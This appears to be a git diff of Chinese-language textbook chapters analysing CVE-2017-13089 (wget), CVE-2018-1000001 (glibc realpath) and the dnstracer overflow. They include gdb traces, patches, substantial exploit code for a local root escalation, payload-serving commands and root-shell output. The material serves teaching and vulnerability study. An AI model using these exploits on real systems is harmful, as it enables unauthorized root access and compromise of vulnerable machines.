"""HTTP/1.1 401 Not Authorized Content-Type: text/plain; charset=UTF-8 Transfer-Encoding: chunked @@ -329,31 +350,33 @@ payload += "\n0\n" with open('ppp','wb') as f: f.write(payload) ``` -``` + +```text $ python exp.py $ nc -lp 6666 < ppp ``` 继续使用 gdb 来跟踪。经过 `strtol()` 函数返回的 `remaining_chunk_size` 为 `0xffffffff00000300`: -``` + +```text gdb-peda$ n [----------------------------------registers-----------------------------------] -RAX: 0xffffffff00000300 +RAX: 0xffffffff00000300 RBX: 0x468722 --> 0x206f4e0050545448 ('HTTP') -RCX: 0xffffffda -RDX: 0x1 -RSI: 0xfffffd00 -RDI: 0x6aafab --> 0xfae98148c931000a +RCX: 0xffffffda +RDX: 0x1 +RSI: 0xfffffd00 +RDI: 0x6aafab --> 0xfae98148c931000a RBP: 0x7fffffffd170 --> 0x7fffffffd580 --> 0x7fffffffd8a0 --> 0x7fffffffd9c0 --> 0x7fffffffdbd0 --> 0x452350 (<__libc_csu_init>: push r15) -RSP: 0x7fffffffcf20 --> 0xffffffffffffffff +RSP: 0x7fffffffcf20 --> 0xffffffffffffffff RIP: 0x41ef0f (: mov QWORD PTR [rbp-0x8],rax) -R8 : 0x0 -R9 : 0xfffffffffffffff -R10: 0x0 -R11: 0x7ffff74045e0 --> 0x2000200020002 +R8 : 0x0 +R9 : 0xfffffffffffffff +R10: 0x0 +R11: 0x7ffff74045e0 --> 0x2000200020002 R12: 0x404ca0 (<_start>: xor ebp,ebp) -R13: 0x7fffffffdcb0 --> 0x2 -R14: 0x0 +R13: 0x7fffffffdcb0 --> 0x2 +R14: 0x0 R15: 0x0 EFLAGS: 0x206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] @@ -366,38 +389,40 @@ EFLAGS: 0x206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow) 0x41ef1a : call 0x404380 0x41ef1f : mov QWORD PTR [rbp-0x10],0x0 [------------------------------------stack-------------------------------------] -0000| 0x7fffffffcf20 --> 0xffffffffffffffff -0008| 0x7fffffffcf28 --> 0x4ffffcf01 -0016| 0x7fffffffcf30 --> 0x13 -0024| 0x7fffffffcf38 --> 0x6aafab --> 0xfae98148c931000a -0032| 0x7fffffffcf40 --> 0xffffffff00000028 -0040| 0x7fffffffcf48 --> 0x7ffff7652540 --> 0xfbad2887 +0000| 0x7fffffffcf20 --> 0xffffffffffffffff +0008| 0x7fffffffcf28 --> 0x4ffffcf01 +0016| 0x7fffffffcf30 --> 0x13 +0024| 0x7fffffffcf38 --> 0x6aafab --> 0xfae98148c931000a +0032| 0x7fffffffcf40 --> 0xffffffff00000028 +0040| 0x7fffffffcf48 --> 0x7ffff7652540 --> 0xfbad2887 0048| 0x7fffffffcf50 --> 0x7fffffffcfc0 ("401 Not Authorized\n") -0056| 0x7fffffffcf58 --> 0x13 +0056| 0x7fffffffcf58 --> 0x13 [------------------------------------------------------------------------------] Legend: code, data, rodata, value 0x000000000041ef0f in skip_short_body () ``` + 继续调试,到达函数 `fd_read()`,可以看到由于强制类型转换的原因其参数只取出了 `0xffffffff00000300` 的低 4 个字节 `0x300`,所以该函数将读入 `0x300` 个字节的数据到栈地址 `0x7fffffffcf40` 中: -``` + +```text gdb-peda$ n [----------------------------------registers-----------------------------------] -RAX: 0x4 +RAX: 0x4 RBX: 0x468722 --> 0x206f4e0050545448 ('HTTP') -RCX: 0x7fffffffcf40 --> 0xffffffff00000028 -RDX: 0x300 -RSI: 0x7fffffffcf40 --> 0xffffffff00000028 -RDI: 0x4 +RCX: 0x7fffffffcf40 --> 0xffffffff00000028 +RDX: 0x300 +RSI: 0x7fffffffcf40 --> 0xffffffff00000028 +RDI: 0x4 RBP: 0x7fffffffd170 --> 0x7fffffffd580 --> 0x7fffffffd8a0 --> 0x7fffffffd9c0 --> 0x7fffffffdbd0 --> 0x452350 (<__libc_csu_init>: push r15) -RSP: 0x7fffffffcf20 --> 0xffffffff00000300 +RSP: 0x7fffffffcf20 --> 0xffffffff00000300 RIP: 0x41efd6 (: call 0x4062c5 ) -R8 : 0x0 -R9 : 0x1 -R10: 0x0 -R11: 0x7ffff74045e0 --> 0x2000200020002 +R8 : 0x0 +R9 : 0x1 +R10: 0x0 +R11: 0x7ffff74045e0 --> 0x2000200020002 R12: 0x404ca0 (<_start>: xor ebp,ebp) -R13: 0x7fffffffdcb0 --> 0x2 -R14: 0x0 +R13: 0x7fffffffdcb0 --> 0x2 +R14: 0x0 R15: 0x0 EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] @@ -410,64 +435,65 @@ EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow) 0x41efe2 : jg 0x41f029 0x41efe4 : movzx eax,BYTE PTR [rip+0x269bf0] # 0x688bdb Guessed arguments: -arg[0]: 0x4 -arg[1]: 0x7fffffffcf40 --> 0xffffffff00000028 -arg[2]: 0x300 -arg[3]: 0x7fffffffcf40 --> 0xffffffff00000028 +arg[0]: 0x4 +arg[1]: 0x7fffffffcf40 --> 0xffffffff00000028 +arg[2]: 0x300 +arg[3]: 0x7fffffffcf40 --> 0xffffffff00000028 [------------------------------------stack-------------------------------------] -0000| 0x7fffffffcf20 --> 0xffffffff00000300 -0008| 0x7fffffffcf28 --> 0x4ffffcf01 -0016| 0x7fffffffcf30 --> 0x13 -0024| 0x7fffffffcf38 --> 0x6aafab --> 0xfae98100007ffff7 -0032| 0x7fffffffcf40 --> 0xffffffff00000028 -0040| 0x7fffffffcf48 --> 0x7ffff7652540 --> 0xfbad2887 +0000| 0x7fffffffcf20 --> 0xffffffff00000300 +0008| 0x7fffffffcf28 --> 0x4ffffcf01 +0016| 0x7fffffffcf30 --> 0x13 +0024| 0x7fffffffcf38 --> 0x6aafab --> 0xfae98100007ffff7 +0032| 0x7fffffffcf40 --> 0xffffffff00000028 +0040| 0x7fffffffcf48 --> 0x7ffff7652540 --> 0xfbad2887 0048| 0x7fffffffcf50 --> 0x7fffffffcfc0 ("401 Not Authorized\n") -0056| 0x7fffffffcf58 --> 0x13 +0056| 0x7fffffffcf58 --> 0x13 [------------------------------------------------------------------------------] Legend: code, data, rodata, value 0x000000000041efd6 in skip_short_body () ``` 成功跳转到 shellcode,获得 shell: -``` + +```text gdb-peda$ n [----------------------------------registers-----------------------------------] -RAX: 0x0 +RAX: 0x0 RBX: 0x468722 --> 0x206f4e0050545448 ('HTTP') RCX: 0x7ffff7384260 (<__read_nocancel+7>: cmp rax,0xfffffffffffff001) -RDX: 0x200 -RSI: 0x7fffffffcf40 --> 0xfffae98148c93148 -RDI: 0x4 +RDX: 0x200 +RSI: 0x7fffffffcf40 --> 0xfffae98148c93148 +RDI: 0x4 RBP: 0x4141414141414141 ('AAAAAAAA') -RSP: 0x7fffffffd178 --> 0x7fffffffcf40 --> 0xfffae98148c93148 +RSP: 0x7fffffffd178 --> 0x7fffffffcf40 --> 0xfffae98148c93148 RIP: 0x41f0ed (: ret) -R8 : 0x7fffffffcdb0 --> 0x383 -R9 : 0x1 -R10: 0x0 -R11: 0x246 +R8 : 0x7fffffffcdb0 --> 0x383 +R9 : 0x1 +R10: 0x0 +R11: 0x246 R12: 0x404ca0 (<_start>: xor ebp,ebp) -R13: 0x7fffffffdcb0 --> 0x2 -R14: 0x0 +R13: 0x7fffffffdcb0 --> 0x2 +R14: 0x0 R15: 0x0 EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x41f0e2 : call 0x42a0f5 0x41f0e7 : mov eax,0x1 0x41f0ec : leave -=> 0x41f0ed : ret +=> 0x41f0ed : ret 0x41f0ee : push rbp 0x41f0ef : mov rbp,rsp 0x41f0f2 : sub rsp,0x30 0x41f0f6 : mov QWORD PTR [rbp-0x28],rdi [------------------------------------stack-------------------------------------] -0000| 0x7fffffffd178 --> 0x7fffffffcf40 --> 0xfffae98148c93148 +0000| 0x7fffffffd178 --> 0x7fffffffcf40 --> 0xfffae98148c93148 0008| 0x7fffffffd180 --> 0xa300a ('\n0\n') -0016| 0x7fffffffd188 --> 0x0 -0024| 0x7fffffffd190 --> 0x7fffffffdad4 --> 0x0 -0032| 0x7fffffffd198 --> 0x7fffffffd780 --> 0x0 +0016| 0x7fffffffd188 --> 0x0 +0024| 0x7fffffffd190 --> 0x7fffffffdad4 --> 0x0 +0032| 0x7fffffffd198 --> 0x7fffffffd780 --> 0x0 0040| 0x7fffffffd1a0 --> 0x6a9a00 --> 0x68acb0 ("http://localhost:6666/") 0048| 0x7fffffffd1a8 --> 0x6a9a00 --> 0x68acb0 ("http://localhost:6666/") -0056| 0x7fffffffd1b0 --> 0x0 +0056| 0x7fffffffd1b0 --> 0x0 [------------------------------------------------------------------------------] Legend: code, data, rodata, value 0x000000000041f0ed in skip_short_body () @@ -485,7 +511,8 @@ gdb-peda$ x/20gx 0x7fffffffcf40 ``` Bingo!!! -``` + +```text Starting program: /usr/local/bin/wget localhost:6666 [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1". @@ -504,7 +531,7 @@ $ [Inferior 3 (process 20618) exited normally] Warning: not running or target is remote ``` - ## 参考资料 + - [CVE-2017-13089 Detail](https://nvd.nist.gov/vuln/detail/CVE-2017-13089) -- https://github.com/r1b/CVE-2017-13089 +- diff --git a/doc/7.1.5_glibc_2018-1000001.md b/doc/7.1.5_glibc_2018-1000001.md index 50a79a6..2313184 100644 --- a/doc/7.1.5_glibc_2018-1000001.md +++ b/doc/7.1.5_glibc_2018-1000001.md @@ -6,14 +6,14 @@ - [Exploit](#exploit) - [参考资料](#参考资料) - [下载文件](../src/exploit/7.1.5_glibc_2018-1000001) ## 漏洞描述 + 该漏洞涉及到 Linux 内核的 `getcwd` 系统调用和 glibc 的 `realpath()` 函数,可以实现本地提权。漏洞产生的原因是 `getcwd` 系统调用在 Linux-2.6.36 版本发生的一些变化,我们知道 `getcwd` 用于返回当前工作目录的绝对路径,但如果当前目录不属于当前进程的根目录,即从当前根目录不能访问到该目录,如该进程使用 `chroot()` 设置了一个新的文件系统根目录,但没有将当前目录的根目录替换成新目录的时候,`getcwd` 会在返回的路径前加上 `(unreachable)`。通过改变当前目录到另一个挂载的用户空间,普通用户也可以完成这样的操作。然后返回的这个非绝对地址的字符串会在 `realpath()` 函数中发生缓冲区下溢,从而导致任意代码执行,再利用 SUID 程序即可获得目标系统上的 root 权限。 - ## 漏洞复现 + | |推荐使用的环境 | 备注 | | --- | --- | --- | | 操作系统 | Ubuntu 16.04 | 体系结构:64 位 | @@ -35,10 +35,10 @@ void main() { } buf; memset(buf.canary, 47, 1); // put a '/' before the buffer memset(buf.buffer, 48, sizeof(buf.buffer)); - + //path = getcwd(NULL, 0); //puts(path); - + chroot("/tmp"); //path = getcwd(NULL, 0); //puts(path); @@ -51,13 +51,16 @@ void main() { } } ``` -``` + +```text # gcc -g poc.c # ./a.out Vulnerable ``` + 执行 `realpath()` 前: -``` + +```text gdb-peda$ x/g buf.canary 0x7fffffffe4d0: 0x000000000000002f gdb-peda$ x/15gx 0x7fffffffe4d0 @@ -70,8 +73,10 @@ gdb-peda$ x/15gx 0x7fffffffe4d0 0x7fffffffe530: 0x00007fffffffe620 0x13ca8a6b7215a800 0x7fffffffe540: 0x0000000000000000 ``` + 执行 `realpath()` 后: -``` + +```text gdb-peda$ x/15gx 0x7fffffffe4d0 0x7fffffffe4d0: 0x000000424242422f 0x00000000000000c2 <-- canary 0x7fffffffe4e0: 0x68636165726e7528 0x6f682f29656c6261 <-- buffer @@ -86,19 +91,23 @@ gdb-peda$ x/s 0x7fffffffe4d0 gdb-peda$ x/s 0x7fffffffe4e0 0x7fffffffe4e0: "(unreachable)/home/ubuntu/halfdog" ``` + 正常情况下,字符串 `\BBBB` 应该只能在 buffer 范围内进程操作,而这里它被复制到了 canary 里,也就是发生了下溢出。 - ## 漏洞分析 + `getcwd()` 的原型如下: + ```c #include char *getcwd(char *buf, size_t size); ``` + 它用于得到一个以 null 结尾的字符串,内容是当前进程的当前工作目录的绝对路径。并以保存到参数 buf 中的形式返回。 首先从 Linux 内核方面来看,在 2.6.36 版本的 [vfs: show unreachable paths in getcwd and proc](https://github.com/torvalds/linux/commit/8df9d1a4142311c084ffeeacb67cd34d190eff74) 这次提交,使得当目录不可到达时,会在返回的目录字符串前面加上 `(unreachable)`: + ```c // fs/dcache.c @@ -183,11 +192,13 @@ out: return error; } ``` + 可以看到在引进了 unreachable 这种情况后,仅仅判断返回值大于零是不够的,它并不能很好地区分开究竟是绝对路径还是不可到达路径。然而很可惜的是,glibc 就是这样做的,它默认了返回的 buf 就是绝对地址。当然也是由于历史原因,在修订 `getcwd` 系统调用之前,glibc 中的 `getcwd()` 库函数就已经写好了,于是遗留下了这个不匹配的问题。 从 glibc 方面来看,由于它仍然假设 `getcwd` 将返回绝对地址,所以在函数 `realpath()` 中,仅仅依靠 `name[0] != '/'` 就断定参数是一个相对路径,而忽略了以 `(` 开头的不可到达路径。 `__realpath()` 用于将 `path` 所指向的相对路径转换成绝对路径,其间会将所有的符号链接展开并解析 `/./`、`/../` 和多余的 `/`。然后存放到 `resolved_path` 指向的地址中,具体实现如下: + ```c // stdlib/canonicalize.c @@ -238,10 +249,13 @@ __realpath (const char *name, char *resolved) } } ``` + 当传入的 name 不是一个绝对路径,比如 `../../x`,`realpath()` 将会使用当前工作目录来进行解析,而且默认了它以 `/` 开头。解析过程是从后先前进行的,当遇到 `../` 的时候,就会跳到前一个 `/`,但这里存在一个问题,没有对缓冲区边界进行检查,如果缓冲区不是以 `/` 开头,则函数会越过缓冲区,发生溢出。所以当 `getcwd` 返回的是一个不可到达路径 `(unreachable)/` 时,`../../x` 的第二个 `../` 就已经越过了缓冲区,然后 `x` 会被复制到这个越界的地址处。 -#### 补丁 +### 补丁 + 漏洞发现者也给出了它自己的补丁,在发生溢出的地方加了一个判断,当 `dest == rpath` 的时候,如果 `*dest != '/'`,则说明该路径不是以 `/` 开头,便触发报错。 + ```diff --- stdlib/canonicalize.c 2018-01-05 07:28:38.000000000 +0000 +++ stdlib/canonicalize.c 2018-01-05 14:06:22.000000000 +0000 @@ -278,9 +292,11 @@ __realpath (const char *name, char *resolved) else { ``` + 但这种方案似乎并没有被合并。 最终采用的方案是直接从源头来解决,对 `getcwd()` 返回的路径 `path` 进行检查,如果确定 `path[0] == '/'`,说明是绝对路径,返回。否则转到 `generic_getcwd()`(内部函数,源码里看不到)进行处理: + ```diff $ git show 52a713fdd0a30e1bd79818e2e3c4ab44ddca1a94 sysdeps/unix/sysv/linux/getcwd.c | cat diff --git a/sysdeps/unix/sysv/linux/getcwd.c b/sysdeps/unix/sysv/linux/getcwd.c @@ -289,7 +305,7 @@ index f545106289..866b9d26d5 100644 +++ b/sysdeps/unix/sysv/linux/getcwd.c @@ -76,7 +76,7 @@ __getcwd (char *buf, size_t size) int retval; - + retval = INLINE_SYSCALL (getcwd, 2, path, alloc_size); - if (retval >= 0) + if (retval > 0 && path[0] == '/') @@ -299,7 +315,7 @@ index f545106289..866b9d26d5 100644 @@ -92,10 +92,10 @@ __getcwd (char *buf, size_t size) return buf; } - + - /* The system call cannot handle paths longer than a page. - Neither can the magic symlink in /proc/self. Just use the + /* The system call either cannot handle paths longer than a page @@ -312,20 +328,22 @@ index f545106289..866b9d26d5 100644 if (buf == NULL && size == 0) ``` - ## Exploit + umount 包含在 util-linux 中,为方便调试,我们重新编译安装一下: -``` + +```text $ sudo apt-get install dpkg-dev automake $ sudo apt-get source util-linux $ cd util-linux-2.27.1 $ ./configure $ make && sudo make install -$ file /bin/umount +$ file /bin/umount /bin/umount: setuid ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=2104fb4e2c126b9ac812e611b291e034b3c361f2, not stripped ``` exp 主要分成两个部分: + ```c int main(int argc, char **argv) { [...] @@ -354,6 +372,7 @@ escalateOk: goto preReturnCleanup; } ``` + - `prepareNamespacedProcess()`:准备一个运行在自己 mount namespace 的进程,并设置好适当的挂载结构。该进程允许程序在结束时可以清除它,从而删除 namespace。 - `attemptEscalation()`:调用 umount 来获得 root 权限。 @@ -364,6 +383,7 @@ escalateOk: 由于 umount 的 `realpath()` 的操作发生在堆上,第一步就得考虑怎样去创造一个可重现的堆布局。通过移除可能造成干扰的环境变量,仅保留 locale 即可做到这一点。locale 在 glibc 或者其它需要本地化的程序和库中被用来解析文本(如时间、日期等),它会在 umount 参数解析之前进行初始化,所以会影响到堆的结构和位于 `realpath()` 函数缓冲区前面的那些低地址的内容。漏洞的利用依赖于单个 locale 的可用性,在标准系统中,libc 提供了一个 `/usr/lib/locale/C.UTF-8`,它通过环境变量 `LC_ALL=C.UTF-8` 进行加载。 在 locale 被设置后,缓冲区下溢将覆盖 locale 中用于加载 national language support(NLS) 的字符串中的一个 `/`,进而将其更改为相对路径。然后,用户控制的 umount 错误信息的翻译将被加载,使用 fprintf() 函数的 `%n` 格式化字符串,即可对一些内存地址进行写操作。由于 fprintf() 所使用的堆栈布局是固定的,所以可以忽略 ASLR 的影响。于是我们就可以利用该特性覆盖掉 `libmnt_context` 结构体中的 `restricted` 字段: + ```c // util-linux/libmount/src/mountP.h struct libmnt_context @@ -377,9 +397,11 @@ struct libmnt_context [...] }; ``` + 在安装文件系统时,挂载点目录的原始内容会被隐藏起来并且不可用,直到被卸载。但是,挂载点目录的所有者和权限没有被隐藏,其中 `restricted` 标志用于限制堆挂载文件系统的访问。如果我们将该值覆盖,umount 会误以为挂载是从 root 开始的。于是可以通过卸载 root 文件系统做到一个简单的 DoS(如参考文章中所示,可以在Debian下尝试)。 当然我们使用的 Ubuntu16.04 也是在漏洞利用支持范围内的: + ```c static char* osSpecificExploitDataList[]={ // Ubuntu Xenial libc=2.23-0ubuntu9 @@ -387,10 +409,11 @@ static char* osSpecificExploitDataList[]={ "../x/../../AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/A", "_nl_load_locale_from_archive", "\x07\0\0\0\x26\0\0\0\x40\0\0\0\xd0\xf5\x09\x00\xf0\xc1\x0a\x00" - }; + }; ``` `prepareNamespacedProcess()` 函数如下所示: + ```c static int usernsChildFunction() { [...] @@ -470,8 +493,10 @@ pid_t prepareNamespacedProcess() { return(namespacedProcessPid); // 返回子进程 ID } ``` + 所创建的各种类型文件如下: -``` + +```text $ find /proc/10173/cwd/ -type d /proc/10173/cwd/ /proc/10173/cwd/(unreachable) @@ -495,23 +520,25 @@ $ find /proc/10173/cwd/ -type p ``` 然后在父进程里可以对子进程进行设置,通过设置 `setgroups` 为 deny,可以限制在新 namespace 里面调用 setgroups() 函数来设置 groups;通过设置 `uid_map` 和 `gid_map`,可以让子进程自己设置好挂载点。结果如下: -``` -$ cat /proc/10173/setgroups + +```text +$ cat /proc/10173/setgroups deny -$ cat /proc/10173/uid_map +$ cat /proc/10173/uid_map 0 999 1 -$ cat /proc/10173/gid_map +$ cat /proc/10173/gid_map 0 999 1 ``` 这样准备工作就做好了。进入第二部分 `attemptEscalation()` 函数: + ```c int attemptEscalation() { [...] pid_t childPid=fork(); if(!childPid) { [...] - result=chdir(targetCwd); // 改变当前工作目录为 targetCwd + result=chdir(targetCwd); // 改变当前工作目录为 targetCwd // Create so many environment variables for a kind of "stack spraying". int envCount=UMOUNT_ENV_VAR_COUNT; @@ -519,7 +546,7 @@ int attemptEscalation() { umountEnv[envCount--]=NULL; umountEnv[envCount--]="LC_ALL=C.UTF-8"; while(envCount>=0) { - umountEnv[envCount--]="AANGUAGE=X.X"; // 喷射栈的上部 + umountEnv[envCount--]="AANGUAGE=X.X"; // 喷射栈的上部 } // Invoke umount first by overwriting heap downwards using links // for "down", then retriggering another error message ("busy") @@ -531,7 +558,7 @@ int attemptEscalation() { int escalationPhase=0; [...] while(1) { - if(escalationPhase==2) { // 阶段 2 => case 3 + if(escalationPhase==2) { // 阶段 2 => case 3 result=waitForTriggerPipeOpen(secondPhaseTriggerPipePathname); [...] escalationPhase++; @@ -551,17 +578,17 @@ int attemptEscalation() { // Handle the data depending on escalation phase. int moveLength=0; switch(escalationPhase) { - case 0: // Initial sync: read A*8 preamble. // 阶段 0,读取我们精心构造的 util-linux.mo 文件中的格式化字符串。成功写入 8*'A' 的 preamble + case 0: // Initial sync: read A*8 preamble. // 阶段 0,读取我们精心构造的 util-linux.mo 文件中的格式化字符串。成功写入 8*'A' 的 preamble [...] char *preambleStart=memmem(readBuffer, readDataLength, - "AAAAAAAA", 8); // 查找内存,设置 preambleStart + "AAAAAAAA", 8); // 查找内存,设置 preambleStart [...] // We found, what we are looking for. Start reading the stack. - escalationPhase++; // 阶段加 1 => case 1 + escalationPhase++; // 阶段加 1 => case 1 moveLength=preambleStart-readBuffer+8; - case 1: // Read the stack. // 阶段 1,利用格式化字符串读出栈数据,计算出 libc 等有用的地址以对付 ASLR + case 1: // Read the stack. // 阶段 1,利用格式化字符串读出栈数据,计算出 libc 等有用的地址以对付 ASLR // Consume stack data until or local array is full. - while(moveLength+16<=readDataLength) { // 读取栈数据直到装满 + while(moveLength+16<=readDataLength) { // 读取栈数据直到装满 result=sscanf(readBuffer+moveLength, "%016lx", (int*)(stackData+stackDataBytes)); [...] @@ -571,13 +598,13 @@ int attemptEscalation() { if(stackDataBytes==sizeof(stackData)) break; } - if(stackDataBytes!=sizeof(stackData)) // 重复 case 1 直到此条件不成立,即所有数据已经读完 + if(stackDataBytes!=sizeof(stackData)) // 重复 case 1 直到此条件不成立,即所有数据已经读完 break; // All data read, use it to prepare the content for the next phase. fprintf(stderr, "Stack content received, calculating next phase\n"); - int *exploitOffsets=(int*)osReleaseExploitData[3]; // 从读到的栈数据中获得各种有用的地址 + int *exploitOffsets=(int*)osReleaseExploitData[3]; // 从读到的栈数据中获得各种有用的地址 // This is the address, where source Pointer is pointing to. void *sourcePointerTarget=((void**)stackData)[exploitOffsets[ED_STACK_OFFSET_ARGV]]; @@ -602,9 +629,9 @@ int attemptEscalation() { fprintf(stderr, "Changing return address from %p to %p, %p\n", libcStartFunctionAddress, stackWriteData[0], stackWriteData[1]); - escalationPhase++; // 阶段加 1 => case 2 + escalationPhase++; // 阶段加 1 => case 2 - char *escalationString=(char*)malloc(1024); // 将下一阶段的格式化字符串写入到另一个 util-linux.mo 中 + char *escalationString=(char*)malloc(1024); // 将下一阶段的格式化字符串写入到另一个 util-linux.mo 中 createStackWriteFormatString( escalationString, 1024, exploitOffsets[ED_STACK_OFFSET_ARGV]+1, // Stack position of argv pointer argument for fprintf @@ -629,8 +656,8 @@ int attemptEscalation() { "BBBBABCD%s\n"}, 3); break; - case 2: // 阶段 2,修改了参数 “LANGUAGE”,从而触发了 util-linux.mo 的重新读入,然后将新的格式化字符串写入到另一个 util-linux.mo 中 - case 3: // 阶段 3,读取 umount 的输出以避免阻塞进程,同时等待 ROP 执行 fchown/fchmod 修改权限和所有者,最后退出 + case 2: // 阶段 2,修改了参数 “LANGUAGE”,从而触发了 util-linux.mo 的重新读入,然后将新的格式化字符串写入到另一个 util-linux.mo 中 + case 3: // 阶段 3,读取 umount 的输出以避免阻塞进程,同时等待 ROP 执行 fchown/fchmod 修改权限和所有者,最后退出 // Wait for pipe connection and output any result from mount. readDataLength=0; break; @@ -648,7 +675,9 @@ attemptEscalationCleanup: return(escalationSuccess); } ``` + 通过栈喷射在内存中放置大量的 "AANGUAGE=X.X" 环境变量,这些变量位于栈的上部,包含了大量的指针。当运行 umount 时,很可能会调用到 `realpath()` 并造成下溢。umount 调用 `setlocale` 设置 locale,接着调用 `realpath()` 检查路径的过程如下: + ```c /* * Check path -- non-root user should not be able to resolve path which is @@ -695,11 +724,13 @@ int main(int argc, char **argv) return (rc < 256) ? rc : 255; } ``` + ```c #include char *setlocale(int category, const char *locale); ``` + ```c // util-linux/lib/canonicalize.c char *canonicalize_path_restricted(const char *path) @@ -719,15 +750,15 @@ char *canonicalize_path_restricted(const char *path) 被调用的程序文件中包含一个 shebang(即"#!"),使系统调用了漏洞利用程序作为它的解释器。然后该漏洞利用程序修改了它的所有者和权限,使其变成一个 SUID 程序。当 umount 最初的调用者发现文件的权限发生了变化,它会做一定的清理并调用 SUID 二进制文件的辅助功能,即一个 SUID shell,完成提权。 - Bingo!!!(需要注意的是其所支持的系统被硬编码进了利用代码中,可看情况进行修改。[exp](https://www.halfdog.net/Security/2017/LibcRealpathBufferUnderflow/RationalLove.c)) -``` -$ gcc -g exp.c + +```text +$ gcc -g exp.c $ id uid=999(ubuntu) gid=999(ubuntu) groups=999(ubuntu),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare) -$ ls -l a.out +$ ls -l a.out -rwxrwxr-x 1 ubuntu ubuntu 44152 Feb 1 03:28 a.out -$ ./a.out +$ ./a.out ./a.out: setting up environment ... Detected OS version: "16.04.3 LTS (Xenial Xerus)" ./a.out: using umount at "/bin/umount". @@ -745,13 +776,13 @@ Cleanup completed, re-invoking binary /proc/self/exe: invoked as SUID, invoking shell ... # id uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare),999(ubuntu) -# ls -l a.out +# ls -l a.out -rwsr-xr-x 1 root root 44152 Feb 1 03:28 a.out ``` - ## 参考资料 + - [LibcRealpathBufferUnderflow](https://www.halfdog.net/Security/2017/LibcRealpathBufferUnderflow/) -- https://github.com/5H311-1NJ3C706/local-root-exploits/tree/master/linux/CVE-2018-1000001 +- - `man 3 getcwd`,`man 3 realpath`,`man mount_namespaces` - [util-linux/sys-utils/umount.c](https://github.com/karelzak/util-linux/blob/master/sys-utils/umount.c) diff --git a/doc/7.1.6_dnstracer_2017-9430.md b/doc/7.1.6_dnstracer_2017-9430.md index 9daedea..5c4c5ed 100644 --- a/doc/7.1.6_dnstracer_2017-9430.md +++ b/doc/7.1.6_dnstracer_2017-9430.md @@ -6,14 +6,14 @@ - [Exploit](#exploit) - [参考资料](#参考资料) - [下载文件](../src/exploit/7.1.6_dnstracer_2017-9430) ## 漏洞描述 + DNSTracer 是一个用来跟踪 DNS 解析过程的应用程序。DNSTracer 1.9 及之前的版本中存在栈缓冲区溢出漏洞。攻击者可借助带有较长参数的命令行利用该漏洞造成拒绝服务攻击。 - ## 漏洞复现 + | |推荐使用的环境 | 备注 | | --- | --- | --- | | 操作系统 | Ubuntu 12.04 | 体系结构:32 位 | @@ -21,15 +21,18 @@ DNSTracer 是一个用来跟踪 DNS 解析过程的应用程序。DNSTracer 1.9 | 漏洞软件 | DNSTracer | 版本号:1.9 | 首先编译安装 DNSTracer: -``` + +```text $ wget http://www.mavetju.org/download/dnstracer-1.9.tar.gz $ tar zxvf dnstracer-1.9.tar.gz $ cd dnstracer-1.9 $ ./confugure $ make && sudo make install ``` + 传入一段超长的字符串作为参数即可触发栈溢出: -``` + +```text $ dnstracer -v $(python -c 'print "A"*1025') *** buffer overflow detected ***: dnstracer terminated ======= Backtrace: ========= @@ -44,28 +47,29 @@ dnstracer[0x804920a] 08048000-0804e000 r-xp 00000000 08:01 270483 /usr/local/bin/dnstracer 0804f000-08050000 r--p 00006000 08:01 270483 /usr/local/bin/dnstracer 08050000-08051000 rw-p 00007000 08:01 270483 /usr/local/bin/dnstracer -08051000-08053000 rw-p 00000000 00:00 0 +08051000-08053000 rw-p 00000000 00:00 0 084b6000-084d7000 rw-p 00000000 00:00 0 [heap] b74e4000-b7500000 r-xp 00000000 08:01 394789 /lib/i386-linux-gnu/libgcc_s.so.1 b7500000-b7501000 rw-p 0001b000 08:01 394789 /lib/i386-linux-gnu/libgcc_s.so.1 b7518000-b76c8000 r-xp 00000000 08:01 394751 /lib/i386-linux-gnu/libc-2.23.so b76c8000-b76ca000 r--p 001af000 08:01 394751 /lib/i386-linux-gnu/libc-2.23.so b76ca000-b76cb000 rw-p 001b1000 08:01 394751 /lib/i386-linux-gnu/libc-2.23.so -b76cb000-b76ce000 rw-p 00000000 00:00 0 -b76e4000-b76e7000 rw-p 00000000 00:00 0 +b76cb000-b76ce000 rw-p 00000000 00:00 0 +b76e4000-b76e7000 rw-p 00000000 00:00 0 b76e7000-b76e9000 r--p 00000000 00:00 0 [vvar] b76e9000-b76eb000 r-xp 00000000 00:00 0 [vdso] b76eb000-b770d000 r-xp 00000000 08:01 394723 /lib/i386-linux-gnu/ld-2.23.so -b770d000-b770e000 rw-p 00000000 00:00 0 +b770d000-b770e000 rw-p 00000000 00:00 0 b770e000-b770f000 r--p 00022000 08:01 394723 /lib/i386-linux-gnu/ld-2.23.so b770f000-b7710000 rw-p 00023000 08:01 394723 /lib/i386-linux-gnu/ld-2.23.so bf8e5000-bf907000 rw-p 00000000 00:00 0 [stack] Aborted (core dumped) ``` - ## 漏洞分析 + 这个漏洞非常简单也非常典型,发生原因是在把参数 `argv[0]` 复制到数组 `argv0` 的时候没有做长度检查,如果大于 1024 字节,就会导致栈溢出: + ```c // dnstracer.c int @@ -76,6 +80,7 @@ main(int argc, char **argv) [...] strcpy(argv0, argv[0]); ``` + ```c // dnstracer_broker.h #ifndef NS_MAXDNAME @@ -83,8 +88,10 @@ main(int argc, char **argv) #endif ``` -#### 补丁 +### 补丁 + 要修这个漏洞的话,在调用 `strcpy()` 前加上对参数长度的检查就可以了: + ```c /*CVE-2017-9430 Fix*/ if(strlen(argv[0]) >= NS_MAXDNAME) @@ -99,11 +106,12 @@ main(int argc, char 